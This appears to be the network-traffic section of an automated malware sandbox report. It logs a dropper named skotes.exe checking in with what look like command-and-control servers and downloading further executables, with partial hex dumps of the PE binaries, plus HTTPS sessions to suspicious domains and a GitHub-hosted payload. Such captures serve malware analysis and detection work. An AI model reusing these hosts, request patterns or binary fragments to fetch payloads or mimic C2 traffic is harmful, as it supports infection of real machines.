Dec 18, 2024 21:30:40.638432980 CET	1236	IN	Data Raw: 8b d8 e8 7c 0e 00 00 6a 15 8b f8 e8 73 0e 00 00 6a ec e8 e9 f4 ff ff 8b 45 e0 89 85 78 ff ff ff 8b 45 f8 89 85 7c ff ff ff 8b 45 dc 89 45 90 66 8b 06 66 f7 d8 1b c0 89 5d 84 23 c6 89 45 80 66 8b 07 66 f7 d8 1b c0 c7 45 8c 00 10 44 00 23 c7 89 45 Data Ascii: \|jsjExE\|EEff]#EffED#EtP;x@uJuGSVj5Vf;;j9]t!VI9]\|PuD;tEV$@4jPpH;tvupDv
Dec 18, 2024 21:30:40.638448954 CET	896	IN	Data Raw: 40 00 6a 01 89 45 08 e8 a3 09 00 00 6a 12 8b f0 e8 9a 09 00 00 6a dd 89 45 f0 e8 90 09 00 00 50 68 ff 03 00 00 8d 45 08 57 50 ff 75 f0 56 ff 15 50 81 40 00 66 83 3f 0a e9 1d f3 ff ff 39 5d e0 8b 75 d4 75 2b 6a 02 e8 a3 09 00 00 8b f0 3b f3 0f 84 Data Ascii: @jEjjEPhEWPuVP@f?9]uu+j;j3RPV@V@j"8MQPV;uEjEjEjPWE;Ei3@uj#Wy@Duj
Dec 18, 2024 21:30:40.638835907 CET	1236	IN	Data Raw: 5d dc 89 4d b4 89 45 b0 0f 85 b5 00 00 00 8d 45 b0 6a 01 50 8d 45 0a 51 50 6a 08 53 ff d6 85 c0 75 68 8b 7d b4 f7 df ff 4d c0 b8 fd ff 00 00 89 45 b0 74 59 ff 4d b4 47 6a 01 53 57 ff 75 e8 ff 15 60 81 40 00 8d 45 b0 6a 01 50 8d 45 0a ff 75 c0 50 Data Ascii: ]MEEjPEQPjSuh}MEtYMGjSWu`@EjPEuPjSt-9]u9]uSu'9EjPu8t}E9]u1f}t;f}t4MUEf;fQEtRE;EDPu><f9Etf=tf=uMUEfQ
Dec 18, 2024 21:30:40.638869047 CET	1236	IN	Data Raw: 00 cb 14 40 00 d7 14 40 00 f5 14 40 00 73 15 40 00 a3 15 40 00 c1 15 40 00 6a 16 40 00 03 15 40 00 42 15 40 00 63 15 40 00 7b 16 40 00 cc 16 40 00 35 17 40 00 5c 17 40 00 6f 17 40 00 0c 19 40 00 0f 19 40 00 41 19 40 00 56 19 40 00 68 19 40 00 ff Data Ascii: @@@s@@@j@@B@c@{@@5@\@o@@@A@V@h@@0@r@@w@@C@C@@8@]@@N@@@@@* @ @!@"@#@#@#@4$@$@%@%@&@&@>&@&@(@(@(@)@P)@[@@Y+@,
Dec 18, 2024 21:30:40.639553070 CET	1236	IN	Data Raw: 00 05 00 02 00 00 3b f0 72 02 8b f8 57 53 e8 9d 03 00 00 85 c0 0f 84 20 01 00 00 83 3d 14 4f 43 00 00 75 7a 6a 1c 8d 45 d8 53 50 e8 99 2e 00 00 8b 45 d8 a9 f0 ff ff ff 75 72 81 7d dc ef be ad de 75 69 81 7d e8 49 6e 73 74 75 60 81 7d e4 73 6f 66 Data Ascii: ;rWS =OCuzjESP.Eur}ui}Instu`}softuW}NulluNEEAOCE;OCEuEu?Ep;vEujOY;5$BsWSu8E=A+"3j"9OCYtS9]t"5AE
Dec 18, 2024 21:30:40.757148981 CET	1236	IN	Data Raw: c1 0f b6 4d da 0b c1 a3 bc 4f 43 00 66 81 3d be 4f 43 00 00 06 74 11 53 e8 fa 32 00 00 3b c3 74 07 68 00 0c 00 00 ff d0 be b0 82 40 00 56 e8 74 32 00 00 56 ff 15 54 81 40 00 8d 74 06 01 80 3e 00 75 ea 6a 0b e8 cd 32 00 00 6a 09 e8 c6 32 00 00 6a Data Ascii: MOCf=OCtS2;th@Vt2VT@t>uj2j2jOC2;tjtOC8@S@OCShPSh(B@h@h?C.@DPV.j"^OC@f95DuDWPd'P0@M

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49828	185.215.113.43	80	2516	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 21:30:53.366569042 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 37 30 38 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1017082001&unit=246122658369
Dec 18, 2024 21:30:54.712284088 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 20:30:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49829	31.41.244.11	80	2516	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 21:30:54.836675882 CET	63	OUT	GET /files/geopoxid/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 18, 2024 21:30:56.199187994 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 20:30:55 GMT Content-Type: application/octet-stream Content-Length: 1880576 Last-Modified: Wed, 18 Dec 2024 18:02:50 GMT Connection: keep-alive ETag: "67630e4a-1cb200" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 d1 3c 5f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 ec 03 00 00 ae 00 00 00 00 00 00 00 30 4a 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 4a 00 00 04 00 00 69 eb 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 30 05 00 68 00 00 00 00 20 05 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 31 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL<_g0J@`Ji@T0h 1 H@.rsrc X@.idata 0Z@ *@\@xnuzvlhe0/.^@tzuttanx J@.taggant00J"@
Dec 18, 2024 21:30:56.199357033 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 21:30:56.199394941 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 21:30:56.199681997 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 21:30:56.199717999 CET	448	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 21:30:56.200186968 CET	1236	IN	Data Raw: 5a 44 27 63 45 51 25 f4 fb 83 27 cf 7a 1c 21 71 6f 05 ab f0 03 1c 96 d0 05 68 e6 c5 7a 18 2e 8b c4 4f e6 09 b9 dc 93 1b 26 aa a0 cb 99 74 a9 27 d1 9c 36 83 cd dd c5 fb fd 92 34 4f b6 bc 2f f4 62 48 02 e4 9d 72 fe 79 04 a1 2b 1b 9d db 70 e5 d5 b4 Data Ascii: ZD'cEQ%'z!qohz.O&t'64O/bHry+pR0'j,30kCf8KM Ybf==b)f7iw~{%}g#,co5!4\|+<r"Uh5M~Bq[h/:puOZ&rHMyF
Dec 18, 2024 21:30:56.200226068 CET	1236	IN	Data Raw: 5a 69 af 85 bd 4d 06 75 c8 b2 c4 e1 85 ea ce c8 d4 15 71 f2 5d b7 b4 49 9b 55 07 9d 62 9d 50 b2 dd 54 52 46 3f 6c 46 68 33 92 7d 00 ad a8 32 eb 14 e9 d9 ca 6c 00 ad 4a ed c8 72 8e 29 c4 3f dc 4d 09 73 aa e5 53 b2 c7 e1 18 58 ae 1c 2d 67 81 f1 98 Data Ascii: ZiMuq]IUbPTRF?lFh3}2lJr)?MsSX-gG4UdIJ(P?M5yFJtoF&9P8chEP*r(ZV\|Yq,tQvpl$ODNL7y57fYh5X#\/ P
Dec 18, 2024 21:30:56.200674057 CET	1236	IN	Data Raw: d7 7c 86 75 e2 74 ab cf a8 57 21 11 ad 85 eb cb 1c cb c7 70 a3 1d cb ca 68 52 10 e1 cb e1 08 2f 7d e4 e0 70 b6 98 ce df 78 00 8b de d4 ab ea ed 96 75 2f dc eb 34 22 f1 ed ab 0d b0 c1 84 82 b9 c2 a6 25 cf 56 3c f9 8f 9c f4 7a 20 23 11 ad fe 6c af Data Ascii: \|utW!phR/}pxu/4"%V<z #l{@q{?vN"s@{Ls[ZZ$J-p**R`<}nrL/z"0[</eB.$e&+5PQ+\|AY'\^kt7_WKq
Dec 18, 2024 21:30:56.200727940 CET	672	IN	Data Raw: 8c cf db f1 09 3a ad c1 ae 9e e8 74 f8 9f 7b 93 a1 a7 93 2c d2 c5 00 cd fd 0a 31 ec f7 17 f6 9d 84 db 09 cf 67 1b 02 89 f3 d1 60 f0 7a de b6 e0 53 4e 87 75 4c b6 34 48 5a 75 1e f7 7a a0 38 d8 6a 78 36 78 75 5f d2 e6 f0 48 15 bf 9d 26 44 37 83 00 Data Ascii: :t{,1g`zSNuL4HZuz8jx6xu_H&D7&w>IIP/v,NjuqlU__&=huU~.Q1\|hzT~.,-7Rm<#wb'01mCURZ1s"Ny\Q.%4
Dec 18, 2024 21:30:56.201375961 CET	1236	IN	Data Raw: 64 d2 a2 d5 c2 92 2b bb fd 27 b3 ec fd 7c 3e 1f 68 04 07 bc 6a cc e9 40 d4 9c 50 1c 5b d9 4c ec 49 56 05 11 60 d4 30 e8 7d 0c 2a 75 80 ec 82 cd 34 74 80 ad e3 9c 3d 52 81 5d a2 da c9 37 30 7b b4 2c 39 43 1d 29 96 e7 8f 58 93 d0 4d 55 ba 96 aa e4 Data Ascii: d+'\|>hj@P[LIV`0}u4t=R]70{,9C)XMUn]c3.b<5k$\7ma(\|_F/eE)/^M^QLn5I'?"{rkzZ+;2_s`^WCNyRR#[\L u-#zpaqT'#16
Dec 18, 2024 21:30:56.320593119 CET	1236	IN	Data Raw: 63 da 4e 31 e8 d8 97 1d fb 4e 22 3d e1 53 6c a4 d6 df 48 bf 1a 80 20 a5 78 dc 48 f1 31 3a 12 84 41 76 a4 03 30 f0 6a b1 bc 6c b5 04 69 66 c2 55 dc 68 b0 0e 62 bf 91 30 01 fc c7 d8 9c 37 71 f1 3f 0c d5 4a 0b 68 d8 d2 2b 72 ef 6f 29 19 63 82 8f 16 Data Ascii: cN1N"=SlH xH1:Av0jlifUhb07q?Jh+ro)c2dSqhVY1YU.d/]ki5oVT``J-[F;lsNM[Hqo\U:Ui\|l'$y%2SO[?wcI59:QlJO9%5q;^

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49831	185.215.113.43	80	2516	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 21:31:01.725543022 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 37 30 38 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1017083001&unit=246122658369
Dec 18, 2024 21:31:03.069381952 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 20:31:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49833	31.41.244.11	80	2516	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 21:31:03.197453976 CET	61	OUT	GET /files/martin/random.exe HTTP/1.1 Host: 31.41.244.11

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49834	31.41.244.11	80	2516	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 21:31:04.447729111 CET	61	OUT	GET /files/martin/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 18, 2024 21:31:05.806432009 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 20:31:05 GMT Content-Type: application/octet-stream Content-Length: 4412928 Last-Modified: Wed, 18 Dec 2024 19:00:10 GMT Connection: keep-alive ETag: "67631bba-435600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9f 99 62 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 44 49 00 00 24 6c 00 00 32 00 00 00 b0 bb 00 00 10 00 00 00 60 49 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 e0 bb 00 00 04 00 00 2b dd 43 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 90 69 00 73 00 00 00 00 80 69 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 8f bb 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b4 8e bb 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELbg(DI$l2`I@+C@ _isi piH(@.rsrciX(@.idata iZ(@ 7i\(@uqtrtfqz^(@iiysmucz0C@.taggant0"4C@
Dec 18, 2024 21:31:05.806524992 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 21:31:05.806561947 CET	448	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 21:31:05.807086945 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 21:31:05.807425022 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: ul#t
Dec 18, 2024 21:31:05.807455063 CET	1236	IN	Data Raw: 93 18 fa a1 3b c8 38 9d 28 0c bc 99 27 c8 81 7c 53 8d 68 89 2b ff 07 d9 d4 e9 70 10 5f ae ee cd d4 2c 03 91 03 39 e6 12 b2 fc 2c c3 69 57 4d 6d ca f8 99 c4 04 b3 fd 5c 55 ae bb 98 4f f4 7a cc 8b 0a d5 a5 6d d2 f7 e3 a7 e0 c4 b4 ec f1 48 c9 f9 c1 Data Ascii: ;8('\|Sh+p_,9,iWMm\UOzmH2e,-yXVl@O[2}:fwi"7c{fWdlTugn=Budjxt!<HyHGU9==C6Vt~:6BwW}Bq3N@TXFW&l
Dec 18, 2024 21:31:05.807729006 CET	1236	IN	Data Raw: 8b 8f 2f bd f0 75 61 bb d4 9e 93 3a 3e 86 2d 05 4b 1e 32 d9 89 50 6e 11 b5 7f 6a ba 9c 07 75 61 08 96 bb f5 5e 47 84 95 b4 66 7f 55 1c cb 02 ca 54 46 be ee e3 d1 40 1c fe 4d a5 d4 11 16 e1 ba a1 da bc 80 7f a4 da 8b 4a 0a 1f 92 8e 1a 7d 9e 88 31 Data Ascii: /ua:>-K2Pnjua^GfUTF@MJ}1d5A2f9/\iib(Y74=mHrt3)H]ENZW'H\|-l$y\fFW2\Pu}CNa6p\<3p4`K>L00
Dec 18, 2024 21:31:05.807763100 CET	1236	IN	Data Raw: 95 a7 48 85 45 65 4d bd f3 09 49 3d d0 0e 7a 8e 99 e0 4d f9 8f 0b be 18 64 02 f6 70 73 a3 1b e2 50 49 eb 57 fb 95 56 4f 5d e1 f6 c2 1c f3 1b 38 6a 1c 39 02 e7 57 f9 aa f2 c2 62 29 4e fe ee 32 00 5b 1a 69 57 c9 ec d2 c7 fe 16 e9 0b e3 0f b5 cc 2b Data Ascii: HEeMI=zMdpsPIWVO]8j9Wb)N2[iW+O]I5%`c}rC]h@De,,1MYjv("vAO/6&v%S$e:N0:\{o>8'1n4\OO5}*a?/l{!nz
Dec 18, 2024 21:31:05.808130980 CET	672	IN	Data Raw: a6 2e fc 8c 62 9b c6 56 48 d0 62 25 43 70 d4 8e 4f f7 5f 59 32 88 64 b1 92 b6 92 58 23 10 0e 51 72 c4 b9 9c 75 fa 63 3c 94 7d fe 98 d8 c5 88 54 b7 de f7 5d bd 18 fa d9 17 2c bf 50 99 34 51 73 78 4a 7b 58 68 6d 7a 74 ea 95 e6 90 f9 cb 22 53 6a 2e Data Ascii: .bVHb%CpO_Y2dX#Qruc<}T],P4QsxJ{Xhmzt"Sj.q8Tg"N'uD!/buE&IqN~%2^v\4^MBmJ4r<,F@<4`vyT
Dec 18, 2024 21:31:05.808165073 CET	1236	IN	Data Raw: 66 71 05 ba b5 78 4a 79 44 db ee c8 db d8 10 eb 4f d5 f9 a8 8b 30 9c 88 26 b1 76 ba f3 cc 2c 2f ae 86 c6 8b 33 32 48 b2 43 1f 57 96 34 33 38 94 ff 58 aa cb 9b c0 0e 60 dd 53 82 81 6f f7 e0 70 b7 84 07 16 a0 df 37 0e 23 d9 e5 c9 8d e8 64 7b f9 26 Data Ascii: fqxJyDO0&v,/32HCW438X`Sop7#d{&j$3?Y$?-!S;A+a{6POXR\g%PXx\|LwB}H-E9`uw/>V])md0;,D1s>sHL
Dec 18, 2024 21:31:05.927227974 CET	1236	IN	Data Raw: 99 7d 39 9f 4d 3d 2e 95 70 a6 3c 8d 45 3d fe 76 54 eb 27 9b 6c c2 43 1e d0 00 39 14 35 2c 7b 92 0b 22 38 69 6a 4b 0f dc 3b 3e 6b b5 82 3f 70 fd 4f bf 15 19 18 52 d3 65 94 0f 93 d8 51 d8 c4 c6 e3 1c be a4 87 3e 2f bf b8 cf 00 f9 0a 32 13 9a 49 73 Data Ascii: }9M=.p<E=vT'lC95,{"8ijK;>k?pOReQ>/2IsmTYfa6-smA5 =zXB%NBa{@ONRC=GA[fC[%cB5NBz+z#/2:aA%x}fa\|DU`TZHMlQ53S^B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49835	31.41.244.11	80	2516	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 21:31:14.566600084 CET	145	OUT	GET /files/martin/random.exe HTTP/1.1 Host: 31.41.244.11 If-Modified-Since: Wed, 18 Dec 2024 19:00:10 GMT If-None-Match: "67631bba-435600"
Dec 18, 2024 21:31:15.801155090 CET	192	IN	HTTP/1.1 304 Not Modified Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 20:31:15 GMT Last-Modified: Wed, 18 Dec 2024 19:00:10 GMT Connection: keep-alive ETag: "67631bba-435600"

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.5	49836	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 21:31:18.447365999 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 65 30 3d 31 30 31 37 30 38 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: e0=1017084001&unit=246122658369
Dec 18, 2024 21:31:19.782700062 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 20:31:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

HTTPS Connections

Timestamp	Source IP	Source Port	Dest IP	Dest Port	Subject	Issuer	Not Before	Not After	JA3 SSL Client Fingerprint	JA3 SSL Client Digest
Dec 18, 2024 21:30:39.250004053 CET	104.21.66.85	443	192.168.2.5	49818	CN=aspecteirs.lat CN=WE1, O=Google Trust Services, C=US CN=GTS Root R4, O=Google Trust Services LLC, C=US	CN=WE1, O=Google Trust Services, C=US CN=GTS Root R4, O=Google Trust Services LLC, C=US CN=GlobalSign Root CA, OU=Root CA, O=GlobalSign nv-sa, C=BE	Sat Dec 14 02:13:40 CET 2024 Wed Dec 13 10:00:00 CET 2023 Wed Nov 15 04:43:21 CET 2023	Fri Mar 14 03:11:10 CET 2025 Tue Feb 20 15:00:00 CET 2029 Fri Jan 28 01:00:42 CET 2028	771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-5-10-11-13-35-23-65281,29-23-24,0	a0e9f5d64349fb13191bc781f81f42e1
					CN=WE1, O=Google Trust Services, C=US	CN=GTS Root R4, O=Google Trust Services LLC, C=US	Wed Dec 13 10:00:00 CET 2023	Tue Feb 20 15:00:00 CET 2029
					CN=GTS Root R4, O=Google Trust Services LLC, C=US	CN=GlobalSign Root CA, OU=Root CA, O=GlobalSign nv-sa, C=BE	Wed Nov 15 04:43:21 CET 2023	Fri Jan 28 01:00:42 CET 2028
Dec 18, 2024 21:31:03.130048990 CET	104.21.67.146	443	192.168.2.5	49832	CN=cheapptaxysu.click CN=WE1, O=Google Trust Services, C=US CN=GTS Root R4, O=Google Trust Services LLC, C=US	CN=WE1, O=Google Trust Services, C=US CN=GTS Root R4, O=Google Trust Services LLC, C=US CN=GlobalSign Root CA, OU=Root CA, O=GlobalSign nv-sa, C=BE	Sun Dec 15 17:56:41 CET 2024 Wed Dec 13 10:00:00 CET 2023 Wed Nov 15 04:43:21 CET 2023	Sat Mar 15 18:55:25 CET 2025 Tue Feb 20 15:00:00 CET 2029 Fri Jan 28 01:00:42 CET 2028	771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-5-10-11-13-35-23-65281,29-23-24,0	a0e9f5d64349fb13191bc781f81f42e1
					CN=WE1, O=Google Trust Services, C=US	CN=GTS Root R4, O=Google Trust Services LLC, C=US	Wed Dec 13 10:00:00 CET 2023	Tue Feb 20 15:00:00 CET 2029
					CN=GTS Root R4, O=Google Trust Services LLC, C=US	CN=GlobalSign Root CA, OU=Root CA, O=GlobalSign nv-sa, C=BE	Wed Nov 15 04:43:21 CET 2023	Fri Jan 28 01:00:42 CET 2028

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49805	172.67.180.113	443	6512	C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 20:30:22 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: treehoneyi.click
2024-12-18 20:30:22 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-18 20:30:26 UTC	1039	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 20:30:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=hchm05uflbmt4apjrs9lkaqcsm; expires=Sun, 13-Apr-2025 14:17:02 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=16H9vUe5hXqcqwg1Srz24tq%2B4c2C3f3d063DZIZQjRiF51AZf3q6lsXL%2BgIpup9KJPIPxE04WQDNFisMHBgfw%2Fe695Tsc4pV%2FiHZw7oZEvKYkYmZCZc%2FPrjef5F2IfFtckqL"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f41e9124e8e5590-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=10814&min_rtt=1692&rtt_var=6195&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2839&recv_bytes=907&delivery_rate=1725768&cwnd=142&unsent_bytes=0&cid=3f4a4cd8a4e48fa3&ts=4044&x=0"
2024-12-18 20:30:26 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-18 20:30:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49807	20.233.83.145	443	6972	C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 20:30:24 UTC	117	OUT	GET /Urijas/moperats/raw/refs/heads/main/jthjjdweajtujhjad.exe HTTP/1.1 Host: github.com Connection: Keep-Alive
2024-12-18 20:30:25 UTC	568	IN	HTTP/1.1 302 Found Server: GitHub.com Date: Wed, 18 Dec 2024 20:30:24 GMT Content-Type: text/html; charset=utf-8 Vary: X-PJAX, X-PJAX-Container, Turbo-Visit, Turbo-Frame, Accept-Encoding, Accept, X-Requested-With Access-Control-Allow-Origin: Location: https://raw.githubusercontent.com/Urijas/moperats/refs/heads/main/jthjjdweajtujhjad.exe Cache-Control: no-cache Strict-Transport-Security: max-age=31536000; includeSubdomains; preload X-Frame-Options: deny X-Content-Type-Options: nosniff X-XSS-Protection: 0 Referrer-Policy: no-referrer-when-downgrade
